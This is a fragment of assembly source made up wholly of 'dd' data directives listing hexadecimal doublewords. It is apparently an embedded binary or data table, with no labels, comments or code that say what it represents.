dd 0A9473AC9h, 809C0477h, 0D1F74049h, 5E5BC18Bh, 0A0A541A5h
dd 6AEB08BFh, 95A4768Dh, 8A54BE92h, 0E1AD5744h, 3BC40F88h
dd 0DC7B2A29h, 1A462322h, 79C70E21h, 0AB5543F9h, 3F08D3FEh
dd 3A0FD0Ah, 0CCD2595h, 8A196030h, 97808211h, 47178864h
dd 0EE5863A6h, 74244E2Eh, 121C5E3h, 6C731145h, 346125E1h
dd 0F6275084h, 331223C5h, 724FC7D7h, 90660932h, 7047C609h
dd 0CA0DAE02h, 60088812h, 5BFF428Dh, 0F1EE5DFBh, 1A0EAD64h
dd 0D8418514h, 2C68FEA1h, 9BA0D07Ah, 0A8A13C0h, 0D9773842h
dd 0C984D11Eh, 811351D4h, 0D80BED75h, 0DC32D20h, 5610E3C1h
dd 0BF0AE012h, 24FDA2A6h, 339CB6Fh, 83F905F0h, 0AB23FFF1h
dd 0D0C6F3CFh, 528104C2h, 0B648ACE1h, 94B32529h, 0FC7F07D3h
dd 0CFE6F408h, 0C40B808Dh, 22208AA9h, 38FC428Bh, 3674D812h
dd 0AEF384Fh, 3C2ACFDCh, 0E8C1E70Ch, 89152710h, 210612DCh
dd 0A396EBD4h, 0B43AB25Ch, 70870FEh, 25FCC4FDh, 422E0A6h
dd 753EB88Eh, 3A02183Ch, 0CF0A2ED8h, 610C2688h, 9BF32512h
dd 0E1B11D8Ah, 19F10241h, 3C112B90h, 4E92FE03h, 367AA68Bh
dd 44F0D248h, 1B74908Bh, 40E0D114h, 88C97C92h, 8CD87901h
dd 0E98B4202h, 0E0634166h, 0A808FB28h, 68B2666Dh, 24D25C02h
dd 26C922CAh, 7AA196C1h, 0D374388Ch, 0C6C42AAh, 0BB6A6A57h
dd 0E0506075h, 5AB7AF3h, 168A5F07h, 0CA78D2B3h, 0CF232740h
dd 0D20385A0h, 448DE309h, 18660205h, 75C44046h, 0F2F4B0E5h
dd 40ED385h, 0F12815EFh, 6AE29AD1h, 0DE61FF51h, 0D352805Bh
dd 3EEC1E3h, 354C098Ah, 7F0484E0h, 0C30C9707h, 8BD9EB42h
dd 1744B2DAh, 5624AD1Eh, 0D3584A85h, 852667E0h, 80220B75h
dd 1D2FC0Eh, 0C22B5F9Dh, 25D27E5Eh, 2356A289h, 71CBC2C3h
dd 0E742C910h, 0D64B1371h, 0FC349A1h, 4F16A7E5h, 0CDD6083Ah
dd 6CC56AF0h, 0B06BE6B3h, 53599666h, 0C3225B2Eh, 26A6F339h
dd 0C8C63F2Eh, 84759C7h, 1816891Fh, 7518860Ah, 83E04FCFh
dd 7EDEBFEFh, 7203BD3Ah, 0E5040ACBh, 9758B4Eh, 4E12F3C6h
dd 53151CEBh, 3374163Fh, 0B49334Bh, 9D4CCD72h, 0D3CBD730h
dd 476C0DD2h, 1E054D3Fh, 96F37549h, 3DEF130Fh, 5EB66C02h
dd 8FD02B28h, 2A4BD064h, 2BBC663Ch, 59A64423h, 0DD2338Ah
dd 2578805h, 1B651034h, 5D52732Dh, 77B31249h, 0FFF3C1A3h
dd 10768C8Ch, 76CA85B6h, 5B0FD42h, 92D0CA10h, 0D2564956h
dd 61C0CE24h, 1EC603D1h, 0BA76FE3Bh, 820FF802h, 4540178h
dd 0F1551451h, 0F9CCA2F1h, 29720008h, 24FFA5F3h, 0CE2D6895h
dd 0BACC4141h, 0E9831D40h, 0C723A04h, 61FCE0BDh, 808530C8h
dd 330E06CDh, 903F788Dh, 0C5FC113Fh, 0BC0B32E7h, 2321E009h
dd 1D2A8AD1h, 14609DDh, 6D5ED255h, 9012AF02h, 0C72AC6B4h
dd 0C5CC425Dh, 2C29498Dh, 3B682617h, 0A611E641h, 2490290Bh
dd 47454619h, 9C8C1A42h, 0F5F6640h, 4444094Ch, 1234893Ch
dd 4824242Ch, 1D41A81Ch, 1D89E48Eh, 0E811328Fh, 0EC22912Eh
dd 2EF012E9h, 0E9F42291h, 912EF812h, 8DE8FC22h, 0CFB90472h
dd 0F892882Ch, 91E20A29h, 99180F1h, 0BDA0228Ch, 0F7E1524Ah
dd 0E9E4990h, 43FA460Ch, 5BA44512h, 180B550Eh, 74318D2Ch
dd 397CD031h, 43804ED2h, 0FD0D8524h, 0F1FCE40Dh, 0F708D0C1h
dd 1466D949h, 0D4F0CFB0h, 31F9A290h, 4308082Bh, 0D04470CFh
dd 3819CC18h, 248B6009h, 373B03DCh, 0B34E56E0h, 0B6574F50h
dd 7598B487h, 0EEA43820h, 19EF06C9h, 2A4B8C7Eh, 6D289029h
dd 2CAC4E4Bh, 0AFA152EEh, 5A134624h, 5C6853C4h, 0BC80A9B4h
dd 22C40991h, 0DCD444CCh, 0F712E489h, 1C91682Ah, 1811C874h
dd 8B1444BAh, 0BA1048A4h, 0A48B0C44h, 44BA0848h, 9EA48B04h
dd 33205698h, 22180D10h, 3C452809h, 0B8418C4Bh, 883DB615h
dd 84791015h, 0B856140Eh, 4F31BAD3h, 0F37EBE56h, 103509BDh
dd 942454AEh, 0DD329C02h, 695F593Eh, 51D80E4Fh, 0F0251966h
dd 53D0A7Fh, 751BC1AFh, 0F3D9F55h, 7E71E8ADh, 7A0E9D2Dh
dd 99D21AA9h, 535D2366h, 6A41C48Eh, 61165F0Bh, 700A98BDh
dd 0EE4A5356h, 0F62983Fh, 0F84B05DCh, 2909F3F1h, 0B9311FA1h
dd 3DEB2879h, 0E8164E55h, 6E2C6E03h, 5F5FDADCh, 720E56A5h
dd 2220F840h, 3420C3F6h, 7C19ED75h, 72A1103Fh, 0DBD907B4h
dd 3CC10DA2h, 0A352DC23h, 0C810304Ah, 0DB1C7C0Ah, 0B846C3E2h
dd 0AF42540h, 0D42405C7h, 21D50CDFh, 206CA314h, 88281E13h
dd 19A1223Bh, 2C7B122Ch, 23893014h, 34A3298Fh, 0E360BE36h
dd 1D9BF4C4h, 2FFE7DD9h
dd 8B3AA1D6h, 0F20CCC80h, 0E66DFEF4h, 0F47D33DFh, 2676FE0Ch
dd 0F84855E6h, 8528AC46h, 0A80C4654h, 0CF18F0Ch, 70DD5A1Eh
dd 0C08AA03Fh, 64F053E7h, 0E3D11DD2h, 0A355031Eh, 23894A08h
dd 0F3FC63F8h, 5BFF0820h, 0C2F747E0h, 59580008h, 24680487h
dd 116A071Ch, 0A16457E1h, 5E863146h, 0D48C80F8h, 6AE041D2h
dd 0D3353FE1h, 864AD0A2h, 0ADBEC7F8h, 0CFD240Fh, 0F141D04Dh
dd 0B8AC2E49h, 0FAD437A3h, 0A55DA173h, 95041811h, 0D8EFCA1h
dd 250C033h, 0F5E89ADh, 401502D8h, 148120B6h, 6EAC67B7h
dd 3357E569h, 0C623D569h, 0B5ACCE65h, 35F48AA6h, 85F08A80h
dd 0BC40D340h, 289B34D9h, 4197ECA1h, 6604FFA8h, 1825A2E1h
dd 61AC451h, 8BB01D02h, 0EC5768C8h, 1BC124F8h, 0BDA5FC66h
dd 0B9707349h, 0D108A9F8h, 84691134h, 0AB34790Ch, 0D8F227AFh
dd 5E2C7D72h, 1844AED4h, 0C6441F3h, 101C08E4h, 89AF45E8h
dd 0FDF06552h, 0B8F21A92h, 9F2D2897h, 895F3099h, 6D9426B9h
dd 0D8A29EF8h, 44B6700Eh, 8601CC24h, 0B34A75C9h, 0D4418F70h
dd 21A750E5h, 70F58455h, 0EA19F7D5h, 0EC7BCC94h, 161789ABh
dd 0D857A1BCh, 9EB1B0Bh, 0CD8AF45Ch, 8F7ECC2Dh, 8D60AD52h
dd 0E0839151h, 27F0EC3Bh, 0E9024B0Fh, 0EA150124h, 0A4D494Dh
dd 54EC23A0h, 86100614h, 17D500ACh, 0EC23E603h, 0B7247078h
dd 0C6ADDD76h, 0ACC226C8h, 611C6733h, 0D9FF206Bh, 5E9FA518h
dd 2629E90Bh, 0BABCA75Ah, 4477B3BEh, 0C69A125Fh, 120FA89h
dd 6683397Ch, 0A70578FEh, 521E27h, 48D4ED3h, 4C3912B6h
dd 5E1A8683h, 483B0507h, 1F5A7E08h, 89F60C14h, 41A4934Dh
dd 0CACD486Bh, 6C524A0h, 8946144Dh, 72A00C31h, 470E3B01h
dd 0A504770Ch, 482676F0h, 85F0DA89h, 0F248565Ch, 0C6E4D3CEh
dd 70D5E268h, 44949941h, 2542C95Dh, 0B0247B3Fh, 0A5069582h
dd 0DEB2B8FFh, 0E2B0F2Dh, 72823662h, 9E5AB802h, 277FC36Dh
dd 196A50FCh, 837068FEh, 0B1FA6164h, 25890E2Dh, 835A809h
dd 1960586Ah, 7427A922h, 8F6DC32Eh, 348D2860h, 0C8B0D76h
dd 3B489B3h, 303D48E2h, 2404247Ch, 1681207h, 6F3E2E1Ah
dd 26C641FDh, 128254FFh, 8F64C3EBh, 0DD4913FEh, 1754669Ah
dd 0D42C628h, 479810Ah, 50722A69h, 0E652FA51h, 0A16AED39h
dd 79C0D3Eh, 2CBBB28Bh, 0AEB76E8h, 0EF9109A6h, 0CB064B1Bh
dd 0C6BB004h, 0C25B3459h, 0B8F016D0h, 9D5049E4h, 0C579BEAh
dd 6C6676A6h, 5A098D16h, 0AA069C50h, 503D9141h, 0D7B810FBh
dd 0D643D0F8h, 28D7467Bh, 0E066084Ch, 7D130C29h, 5F50B430h
dd 5DD7B808h, 0D4D7B808h, 0AF664086h, 44099C0Fh, 84898C94h
dd 74247C12h, 95A76C48h, 0D7B8D850h, 64F18484h, 48DC09D0h
dd 50B5A7F0h, 85D95058h, 628D7BB8h, 5018D858h, 996889D9h
dd 0B0098819h, 0A150F614h, 0A10ED950h, 0A41AD950h, 32045C33h
dd 14090C0Fh, 24481C24h, 34222C91h, 503C4745h, 8C20D5AEh
dd 0C8680D60h, 8C917809h, 0A3502B4Fh, 0ECECE56Ah, 9C0CE0F4h
dd 24DD321h, 158BA81Eh, 0B8590B85h, 0F144DFD5h, 34A8F22Bh
dd 5E853B39h, 5F523A73h, 11C0971Fh, 1822E48h, 1B55E2ABh
dd 91C3CA9Ch, 85DA2B2Fh, 500A319h, 8D02F9C1h, 8988290Ch
dd 5A622D46h, 583E3C0h, 8ACD0CA3h, 0B3C912C1h, 0C159C8B4h
dd 68C3480Ah, 0DDB33F80h, 98B5AE19h, 0EA3E5459h, 0A1823C3h
dd 0A1C9D223h, 85D6B8Dh, 0A3940969h, 0A9C95A42h, 4F66C8D0h
dd 1C13AC83h, 10734108h, 0F85E2539h, 0EF56D9E9h, 89F132B3h
dd 42269C31h, 3C815F7Dh, 0D92B5EF1h, 4D932B50h, 0FD6FCA83h
dd 0A9EB859h, 42012FFAh, 48017D96h, 9BEF245Dh, 2A3C8919h
dd 3EDC56DCh, 0B260A31Fh, 0FF335914h, 0DF6DE695h, 80A8006Dh
dd 0FC240774h, 14EB45C7h, 0FE106ABCh, 0F6E8FF08h, 0E0044FC4h
dd 185A460Eh, 0FE9777E8h, 1076EE21h, 4A093D42h, 3C4EF50Ah
dd 1385495Ch, 0B1E30DEBh, 859D1622h, 0B0F85F32h, 82444F0h
dd 6C0B1088h, 9F80DC8h, 0F70ECFA4h, 0D10C2E1h, 0D8F10C53h
dd 64E61E47h, 0A0352AEh, 0D31AE13Ch, 3C57375Bh, 7259BF5Ah
dd 0BDEBCC20h, 7BDFA510h, 21CC1F5Ah, 0FC1D0771h, 81250C4Eh
dd 89925EE1h, 585E2974h, 253B2263h, 5879FBBCh, 36F904A5h
dd 0AE5A34AFh, 0DF2B5761h, 398455F6h, 0B0D7AE46h, 495A705Bh
dd 0F4930E0Bh, 10B779B8h, 4A8B0D57h, 966F3C3h, 0F0FA2BFBh
dd 4355EDACh, 0E4200433h, 219CA556h, 2B990066h, 0C7123BD8h
dd 0A2BD3E72h, 561CE86Ch, 25BE0F38h, 0DD65E650h, 2E740E43h
dd 45A5458Ah, 0B4A6594Bh, 29A8497Fh, 0DBA14A1Eh, 0DB2B50F9h
dd 0A30C4B7Eh, 55C7CDFCh, 0DAFF752Bh, 69A27EE7h, 5FAD32DDh
dd 1C9F64EEh, 1DA8A89Bh, 773A92F6h, 82164902h, 14B20D88h
dd 13F12FE0h, 0FB0DBEBh, 0A701A7CCh, 1860DE8Ch, 74C60B4Ch
dd 19C02CBDh, 0F1D7C910h, 870C8A19h, 41EBD311h, 0FEEDC8C5h
dd 1452504Bh, 9DE9D11Ch, 80EA1DDBh, 75C90BD8h, 0F312F7F4h
dd 0AE59F08Bh, 359FC874h, 3E68014h, 3B0E72D1h, 877751CBh
dd 598C0764h, 4E012D76h, 5E480672h, 0D07091C4h, 456F432Bh
dd 266F1551h, 0C2620CEDh, 0A450EB18h, 0C48106Fh, 0C8F20891h
dd 29911423h, 916C100Bh, 0B28B780Ch, 26744276h, 6F241BBCh
dd 40D11114h, 5EB0DABEh, 4EE18374h, 0F803697Dh, 8CE4904Dh
dd 47D0A184h, 4CB3D649h, 6A78354h, 58E92989h, 1CAC1CE5h
dd 1C881843h, 114F27A9h, 10641421h, 921ACA77h, 0D1456154h
dd 4CD9C9EBh, 0F189DBB8h, 1C212723h, 14B21890h, 4F1C1039h
dd 0B385CC98h, 0F624A42Ch, 0D884A1E2h, 0DBB18129h, 5DDE803Eh
dd 215A75FCh, 38D0F840h, 5E7F7418h, 6144C18Ah, 7A0B9E7Ch
dd 0E98405DEh, 0CDFC8820h, 0EA751A02h, 0C95567EBh, 2BA5368h
dd 0F9BEFF93h, 0A6A9939Bh, 0D7225C7Ah, 0F000F82Dh, 3874FB3Bh
dd 0D769575Ch, 0E69F37EEh, 574A5B2Ah, 2A13CDAEh, 8BF35FC5h
dd 71D75A69h, 0DD0D1721h, 66E92B01h, 8A5EAD5Fh, 0CDBE8291h
dd 47E6969Eh, 46A0E09h, 0ED224C4Ch, 0A59EB1B5h, 946F1251h
dd 3708B228h, 9EC3088Bh, 0ACAEB520h, 34F8F5D3h, 0A2BFF2F3h
dd 70D70B67h, 3274163Bh, 0F4E089A9h, 3A010E8Ah, 4652750Fh
dd 0EB314847h, 178F16BEh, 45AFD138h, 0B7014E07h, 3B153C57h
dd 7A7619Eh, 6B6FE867h, 7076ABE3h, 0E2E04ABFh, 0F32B0EE6h
dd 87278BA7h, 5737FC09h, 0E8104D3Ch, 0DD4DB0F5h, 0EABDF92Eh
dd 0D021D64h, 1BC0B3B8h, 0EB5F48C0h, 0FD6AFF36h, 168BC41Ch
dd 0CA380F81h, 0C89DE775h, 0D9EEDD18h, 71110EE0h, 2A5D3B43h
dd 3106E294h, 48CD6A3Bh, 155B993Ah, 0BC3813E0h, 1D75844Dh
dd 412D88EFh, 0AA8C0F1Bh, 5A123C9Dh, 85A18F90h, 0A1D120C0h
dd 127BB2D0h, 0C3F2AFE2h, 0DF3B017Ch, 39257D5Eh, 2E182235h
dd 5317617Eh, 0A2186A7h, 58120FA8h, 55C5C623h, 0EBC31E03h
dd 8C15A265h, 5FC11413h, 0C84DC2F8h, 14AD9C0h, 43C1805Fh
dd 8A8D0A65h, 0CCD88802h, 5839095Dh, 0DC1EEEEBh, 18821434h
dd 0B1F8D7C6h, 41D07095h, 0C2D22F03h, 65D14557h, 8183BAAEh
dd 528E5906h, 0FD0D0D33h, 585A086Bh, 910B7414h, 47A9ADCFh
dd 418D4C48h, 0A792D90h, 407110FCh, 0BF006AFDh, 0D1C12BF6h
dd 0E84852F8h, 3745AB5Ah, 3FC0F633h, 2457D63Bh, 4B30840Fh
dd 0BB10DD04h, 25DA1DD2h, 756B4639h, 86222129h, 280195CAh
dd 9D66C803h, 890631C2h
dd 0C8A88032h, 408EB54Ah, 14823242h, 0D10C48E4h, 2766BECEh
dd 52C4A256h, 0AE827EC4h, 94AC8409h, 0E9D6935Eh, 0B38822E9h
dd 514328D8h, 0C766EE7Ah, 49982A25h, 8D2C6FEBh, 0C26BD4Fh
dd 88AC031h, 1CBA096Eh, 0D27B2033h, 0B7391B93h, 0E24BF540h
dd 23CF46Ah, 0C32B57DEh, 9050BF69h, 75E001BCh, 0AF57EB2Fh
dd 0F10B27ADh, 1AEB4120h, 4C4C656h, 29884BFFh, 2E289B15h
dd 48837412h, 406700A7h, 28770668h, 3C6BC0EAh, 0B69F6C0Ah
dd 0C45DCB9Bh, 6265F8CDh, 71B06CE8h, 8AC98309h, 0F4A5EFD4h
dd 7C12B352h, 43FF330Dh, 0CFF00DF8h, 883C11Dh, 1621CA03h
dd 10E807ECh, 44113DA3h, 0D65DA44Eh, 6859722Fh, 0C71C6A6Dh
dd 0C5EED219h, 2688889h, 159E2B50h, 0A39DAC62h, 8F98798Ch
dd 3449D929h, 8C27CD30h, 0D3260BC6h, 81B1505Bh, 0EAD04875h
dd 5650A419h, 170B14A8h, 9CD5037Bh, 1D098F6h, 7AE79074h
dd 0E0D44BB7h, 58620A60h, 899C753Ch, 0F433F7DFh, 33164858h
dd 0CDA04821h, 0CB543F13h, 243748D6h, 98064D09h, 2C7D5150h
dd 4897F724h, 98758FC8h, 0BFDED9C4h, 923CAA48h, 13DCA201h
dd 0B7CD982Dh, 68D1128Fh, 40A03252h, 61D0BEF8h, 0A659EC25h
dd 0ED6C6926h, 3B504474h, 0D140303Dh, 86830F58h, 0C78B37C7h
dd 0D5C3F724h, 1FE6E005h, 851C098Dh, 152FD040h, 298B0347h
dd 430C602h, 5769BD83h, 0AA4E8979h, 793C2A22h, 0C41644AFh
dd 0A11752F3h, 5F1086DFh, 32FC5015h, 1C40C53Bh, 0AAE42C93h
dd 4A5189A3h, 8BBCA23Eh, 55B9F0E8h, 0DC71EEDh, 648059B2h
dd 0ED3C82B4h, 71550974h, 15EB8B2Ch, 14136BF0h, 19972583h
dd 963B109h, 5DC5AC3Dh, 4F3AA35Bh, 781D3932h, 0FF1913F7h
dd 0C7D1B876h, 0C218166h, 76A8FBF7h, 320672A7h, 4060846h
dd 842765D3h, 2AF20970h, 2459901Ah, 0DE493371h, 0F6204CC2h
dd 400D4613h, 258CC813h, 0F7E71A30h, 6AC246D8h, 50CDC47Fh
dd 0F40C3C53h, 0ACA3B4DBh, 3E182AAh, 0E880F980h, 8A96637h
dd 0A031F3A1h, 3E278026h, 937582Bh, 5057267Eh, 432661E7h
dd 990E750Ah, 0E5ED0E49h, 9BA4FD24h, 0BA279E07h, 63FFCB1Bh
dd 0E48866D2h, 44F52599h, 3327A2D2h, 57CB2C8Fh, 13DB9DB7h
dd 20F804FFh, 627E0ED0h, 68C01CA1h, 0BAB0049Dh, 4A387712h
dd 399A148h, 0A19C30E4h, 0FC54265h, 0D3241864h, 1D6279F0h
dd 917C243h, 13298616h, 0DA026844h, 0F975511Bh, 3B46D80Bh
dd 0B37C4DA8h, 0E22D39ABh, 4ACEF474h, 8703EB38h, 0D9842683h
dd 38304072h, 2DB45A4Dh, 403C480Bh, 3C030D4Ch, 1A8E8AC1h
dd 40A70E88h, 146521Bh, 0B8053E51h, 99AB122Ch, 0D8E37A57h
dd 6BA9E84Ah, 0F9EBD410h, 2A78021Ah, 1211191Bh, 7205116Ch
dd 18AAA66Fh, 0D46C6FD6h, 906880EDh, 501DE6B4h, 0A1582496h
dd 8471B46Ah, 0D04573B0h, 8D8DF703h, 9D382105h, 0F4B00617h
dd 613C0B01h, 57087Ch, 202C04DDh, 0A41F888h, 0ED751938h
dd 166A4342h, 940C7E22h, 325EBDEDh, 1A9008D5h, 10CB49EBh
dd 8BCEDF64h, 721B5F97h, 0B413A041h, 563F0CB8h, 0A4501B40h
dd 93DCBD43h, 52F7ECBh, 62C6A3Eh, 1B90B90Eh, 7030F9E7h
dd 0CD9CC8AFh, 39800E07h, 880475E0h, 3CEB5419h, 50B5B0F2h
dd 5BB52453h, 0C4F2586h, 30A1D7Bh, 18118EAh, 0E78D4A7h
dd 0FDD41B80h, 937D803Ch, 460E5906h, 7D034983h, 72A2707Ah
dd 559AAB75h, 0C25F0292h, 0BC0C68D9h, 0A34E8471h, 0B67431E4h
dd 2AD58DE0h, 7C88FD8Bh, 14688D5Bh, 4BD6744Ch, 0C37319CFh
dd 156B7D75h, 27F316E2h, 9163730Fh, 31BA5BB8h, 0D7406881h
dd 7DB65C4Eh, 117CB3D9h, 352C0175h, 74440F93h, 780E64B1h
dd 0A3356626h, 0E9831170h, 580D4C80h, 5C0D6834h, 0A1903295h
dd 0C8D1F81h, 507CE180h, 0C13B8808h, 5343735Bh, 0E1502B04h
dd 26C3FA81h, 3C9724Bh, 0E8EB14C0h, 99F9EE5Bh, 7E1BF192h
dd 41D77127h, 0FE2000BBh, 3EFCC683h, 0C10F792Bh, 0CFE20FEFh
dd 0C877C969h, 2A8C8D1Bh, 0B09A4401h, 8BF009BDh, 3E5E490Eh
dd 0DFF1235h, 0FC33E6D9h, 53B83114h, 40D7FEE7h, 0CFFC5643h
dd 12F8F80Ch, 3CC0C2F6h, 7E750C5Dh, 4FA0EC1h, 3F81834Ah
dd 0D06A0376h, 4B7C8B5Ah, 8183B73h, 20204C75h, 0BB1E2A73h
dd 8B8000A2h, 8DEBD3CAh, 43B024Ch, 5C2180F7h, 9FE44B8h
dd 82285575h, 0F09543EEh, 0AAE04A8Dh, 9C1F3821h, 21C46CB8h
dd 32840645h, 0FC0C0459h, 38C255Fh, 353080Bh, 0D7045BB6h
dd 5A89F491h, 0C552E8Ah, 13E5BF95h, 312AC652h, 0C980D156h
dd 2268DC5Dh, 0B5F45197h, 2B1FEC22h, 0C125F075h, 36CA04FBh
dd 4B01F389h, 76DE3B5Eh, 66D35261h, 89D12C90h, 0D63B3980h
dd 0D3B25DDh, 0CE6374DAh, 8E711442h, 400870BEh, 1C08FB83h
dd 0D3CB60BEh, 0D615F7EEh, 2BA7421h, 7504034Ch, 319A9026h
dd 8D1F0AEBh, 0A21FE04Bh, 0B8B4561Dh, 0C4BA4168h, 7975A71h
dd 8992499Ah, 0CC0C934Eh, 24CAE01Fh, 5D44CF75h, 0F438ABF8h
dd 0EAA5FD7Bh, 6CCAB0D4h, 4D15C84h, 940DBD84h, 52B6655Eh
dd 0B3F9705Fh, 93B0C83h, 8A60751Eh, 8151202Ah, 0FE0F4D88h
dd 1913D7C1h, 0A81E2573h, 450E82F2h, 9EDB160h, 8A6E2319h
dd 0BB3FAE44h, 2529AA18h, 0E4671048h, 64562614h, 0EA33BA21h
dd 0B99884D2h, 49971009h, 44C806DEh, 1289ED30h, 86DFFFF0h
dd 4D2DF7F1h, 0F04C7EA1h, 8B86DCC8h, 0EC1D6C0Dh, 0A4685935h
dd 0FE1C105h, 0A6DEC603h, 7E9D8070h, 515340C6h, 20A4D6FFh
dd 5C18338Ah, 8555009h, 3B3A0D0Fh, 68A47DE0h, 0CC58DA88h
dd 4829FE21h, 7B3C0B43h, 0D079803Dh, 830A09A8h, 12FE0460h
dd 4078ADBCh, 0B2536935h, 55859F1Ch, 141359D6h, 169B6B10h
dd 8BCFF648h, 4F43073h, 0E05FC180h, 2913AEF1h, 4CC0BC2Bh
dd 0EA51EC11h, 0B1147448h, 0BAC612D1h, 50FF2BCCh, 513B300Dh
dd 0E07A2305h, 82C6D13h, 9B692F14h, 89451453h, 0A89FA53Dh
dd 4474B71Eh, 9864165Ah, 57CDCE31h, 0B8823C84h, 17BED823h
dd 0F0E12C83h, 0F9C18323h, 41D74904h, 7A0E7D20h, 0B21DEE1h
dd 8140D42Eh, 44EBF466h, 0ED9112ECh, 0D3F60DC8h, 0A6B1FE8h
dd 8468A1FEh, 0C0DF3BD8h, 19730898h, 0EDF923B2h, 8758B923h
dd 75CF0BFEh, 14C38331h, 8C68F12Bh, 11E77233h, 8B791F75h
dd 27D8D4DAh, 5641523h, 34E6EB46h, 4BC559F2h, 84FA1173h
dd 294096EFh, 0EDEB55C5h, 51263808h, 481C540Dh, 0E92EE30h
dd 74DD0646h, 0DB8522F8h, 14BC14F0h, 5925DE86h, 0F1107FB8h
dd 0A94143D5h, 602EFF38h, 896FDDE8h, 6EA61D53h, 0FA2E792Ah
dd 0FC55C841h, 8C925CBEh, 77B42790h, 2844757Ch, 48FB3789h
dd 24C87013h, 9FDE2055h, 481F37D1h, 31B0B53h, 0A917F318h
dd 0AC2F8491h, 883B9A48h, 0FE1EC005h, 0D70B3901h, 48E3E974h
dd 3317989Ah, 60617DFFh, 0B1C24C49h, 980D75CEh, 0C0206A67h
dd 0C9855FCBh, 0D103057Ch, 0F7EB47E1h, 5443188Bh, 2B0A88F9h
dd 0F1691FB2h, 0FEC6875Eh, 0A1834ED3h, 0E7657E3Fh, 98F7C830h
dd 10D2299h, 73224A58h, 48836180h, 2B2C85FFh, 89CFC501h
dd 220B3E0Fh, 0F453A838h, 5C23EC01h, 5DF4488h, 750FFE09h
dd 0DE40AE38h, 0B21EC4Dh, 58CAB8EBh, 50E4154Fh, 9F48962Ch
dd 19864DD6h, 996FA854h, 86A22D86h, 0D2D9B266h, 0F7EE7A06h
dd 79893F68h, 1AEDB3EFh, 9D127308h, 0AAA1D7D9h, 28F17C0Bh
dd 4637A6C0h, 51D9523Dh
dd 0F30C2246h, 0B0649E5Ch, 0FE0640C0h, 587D0B88h, 974CC229h
dd 65EFE177h, 30BFC625h, 0EFD3CEB1h, 0B3B092Bh, 7CFC90A2h
dd 2FEBAFA0h, 0D8229A5h, 0ACE04E8Dh, 947B5521h, 0BC8D8A17h
dd 622E6DAEh, 37098686h, 91F84E2Ch, 0CA0A8957h, 29FC01C1h
dd 75E67F34h, 0D165F077h, 13040146h, 0A097FC32h, 33440E36h
dd 3E20798Dh, 1D3B1AD8h, 373CED99h, 1ABB9912h, 530742A2h
dd 89253070h, 422C8D08h, 0B0690904h, 8A680D03h, 177C447Fh
dd 53075C1h, 9450895Dh, 22ADEC70h, 0E3575A7Ch, 14EFD63Fh
dd 344A89E4h, 43C9A29Bh, 680B403Eh, 0E141C424h, 46C4B0B4h
dd 34923127h, 0B0F45981h, 10468968h, 4300397h, 0E4208268h
dd 0A976D851h, 70526415h, 750C131Ah, 0B35708E4h, 5F424BFAh
dd 714E7D61h, 23C60722h, 5B2047Eh, 838463ACh, 72AF22D6h
dd 0E159519Dh, 71D3571Fh, 2541C90Fh, 0C3C4DB33h, 43E05091h
dd 3861C312h, 8264F669h, 26F95A5Ch, 236B8330h, 500840F7h
dd 0ECC09C06h, 501F924Ah, 5CC186FBh, 792DDDE7h, 1014FE56h
dd 10808E8Ch, 0D5CBBEA4h, 8D1BDF07h, 32700697h, 77FA3B0Fh
dd 0F0474C3Ch, 0E8F3B048h, 0A5EC5E88h, 0FCBBFBBDh, 40C70F1Dh
dd 4355F091h, 68DC1EADh, 448033Ch, 40E880C7h, 0A2051523h
dd 0DC2D6357h, 0C7DC06EEh, 8490F88Bh, 0F8050C12h, 5F37B8B2h
dd 6AD3A4Fh, 120C4A8Dh, 900304EDh, 3A449E64h, 0E4C8BC86h
dd 43468A83h, 0C60C89Ah, 7BBAC084h, 14E883Eh, 78090375h
dd 9A2DBA04h, 0D2F7EA80h, 66985021h, 0E2B5C35Ch, 52FDAC0Ch
dd 0D41B9F10h, 708DD7E0h, 512B1713h, 0E683EA91h, 58EAAC70h
dd 834C850Fh, 0FC164FACh, 5D543B49h, 395C162Ch, 0B57B56E2h
dd 5F634A7Ah, 0AFC3F63Bh, 74F8593h, 3BD90313h, 458FA3F3h
dd 661BCDF4h, 8E3F2CF1h, 6067689h, 2611594Fh, 39E45F8Bh
dd 2CC248C0h, 0C51F7320h, 8DF88254h, 0F271014Ch, 2B889010h
dd 18A124C4h, 9C13221Fh, 3BF59E90h, 89A7654Fh, 7F060919h
dd 30606562h, 1CE2B10h, 0D1B5F8D7h, 84AA9C03h, 81148B0Dh
dd 0FFC10C2Ah, 8A9B4F04h, 0E2C43031h, 7F5F20FBh, 0FB1C20F4h
dd 565BCC81h, 0CDA1240h, 6F46E380h, 31310C18h, 5C751E3Bh
dd 81078C60h, 721312FFh, 2102F94Ch, 0CFB2700Fh, 0AE6423Ah
dd 0CFC166B9h, 215225EBh, 5B33E210h, 3684C548h, 4F962EBAh
dd 554860E9h, 0B9DB10Ch, 43293244h, 89017485h, 0BC24BF87h
dd 426CFE46h, 9AF82A22h, 0EE2253Fh, 0A1BF6E13h, 0F63A8D0Fh
dd 0C5DC9A1h, 0A4B5A629h, 5C6E4B98h, 0FBA5B233h, 0E9585268h
dd 0DE832399h, 0F65ED898h, 8BAB2B98h, 75F8238Dh, 4505A6D4h
dd 3B225219h, 6B752E41h, 6CF212C4h, 7489CE88h, 5A7A1406h
dd 4E6C2C0Eh, 3B061287h, 7AEE6A77h, 71087744h, 8279306Fh
dd 0E6038F06h, 760CA1F3h, 40EE1CEBh, 76834B7Bh, 0F371927Bh
dd 5C8BFB69h, 0AE9CEE96h, 6244184Dh, 0E358AEE3h, 394009F5h
dd 0CE42621Ch, 0E62C0F21h, 7922045Ah, 4E21628Bh, 48F0F8EBh
dd 18134C03h, 55D8BBFCh, 603D2583h, 2EFF31C1h, 0C3060B56h
dd 0E1950BEh, 20681DEBh, 4E5B9F37h, 0F3F11EDh, 45730CA4h
dd 63D1892Dh, 2A408A70h, 48FCD516h, 0CFFB848Eh, 0AC293455h
dd 53630350h, 48344F57h, 0B894AF03h, 0F03B065Ch, 82E41E75h
dd 5163580Ah, 1C9008A3h, 0D41CCF54h, 15EB0208h, 89A10689h
dd 0F4C25009h, 8B09A135h, 878D3010h, 8EB168A3h, 3491B398h
dd 47B8FD14h, 14EB4E2Ch, 0B87CCB7Eh, 0B9ED1BA1h, 0D2B82DF1h
dd 0FFEFD83h, 4AC29D07h, 4533D123h, 48322E89h, 0FD814294h
dd 7CB6C85Dh, 0BA534BE3h, 0EC59E8CBh, 0FEC30317h, 801BE103h
dd 0B071AE8Fh, 81474876h, 4CC7071Dh, 811BF004h, 0EBB548F1h
dd 5BCDC5Fh, 6DBE272Eh, 0F4FF0471h, 0FE5281B4h, 7B742FACh
